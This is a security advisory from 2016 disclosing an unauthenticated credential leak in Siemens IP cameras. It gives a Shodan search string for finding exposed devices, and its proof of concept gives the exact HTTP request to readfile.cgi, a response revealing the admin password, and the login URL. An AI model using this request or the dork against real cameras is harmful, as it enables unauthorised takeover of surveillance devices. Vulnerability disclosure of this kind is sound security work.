SIEMENS IP-Camera CVMS2025-IR, CCMS2025 - Credentials Disclosure
2016-08-17 21:05:191. Advisory Information
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Title : SIEMENS IP-Camera Unauthenticated Remote Credentials Disclosure
Vendor Homepage : https://www.siemens.com
Remotely Exploitable : Yes
Versions Affected : x.2.2.1798, CxMS2025_V2458_SP1, x.2.2.1798, x.2.2.1235
Tested on Camera types : CVMS2025-IR, CCMS2025 (Camera type)
Reference for CCMS2025 : https://w5.siemens.com/web/cz/cz/corporate/portal/home/produkty_a_sluzby/IBT/pozarni_a_bezpecnostni_systemy/cctv/ip_kamery/Documents/023_CCIS1425_A6V10333969_en.doc.pdf
Vulnerability : Username / Password Disclosure (Critical/High)
Shodan Dork : title:"SIEMENS IP-Camera"
Date : 16/08/2016
Author : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
2. CREDIT
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This vulnerability was identified during penetration test by Yakir Wizman.
3. Description
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SIEMENS IP-Camera (CVMS2025-IR + CCMS2025) allows to unauthenticated user disclose the username & password remotely by simple request which made by browser.
4. Proof-of-Concept:
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Simply go to the following url:
http://host:port/cgi-bin/readfile.cgi?query=ADMINID
Should return some javascript variable which contain the credentials and other configuration vars:
var Adm_ID="admin"; var Adm_Pass1=“admin”; var Adm_Pass2=“admin”; var Language=“en”; var Logoff_Time="0";
Request:
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GET /cgi-bin/readfile.cgi?query=ADMINID HTTP/1.1
Host: host:port
Connection: close
Response:
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HTTP/1.0 200 OK
Connection: close
Content-type: text/html
var Adm_ID="admin";
var Adm_Pass1=“admin”;
var Adm_Pass2=“admin”;
var Language=“en”;
var Logoff_Time="0";
Login @ http://host:port/cgi-bin/chklogin.cgi
5. SOLUTION
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Contact the vendor for further information regarding the proper mitigation of this vulnerability.
Fixes
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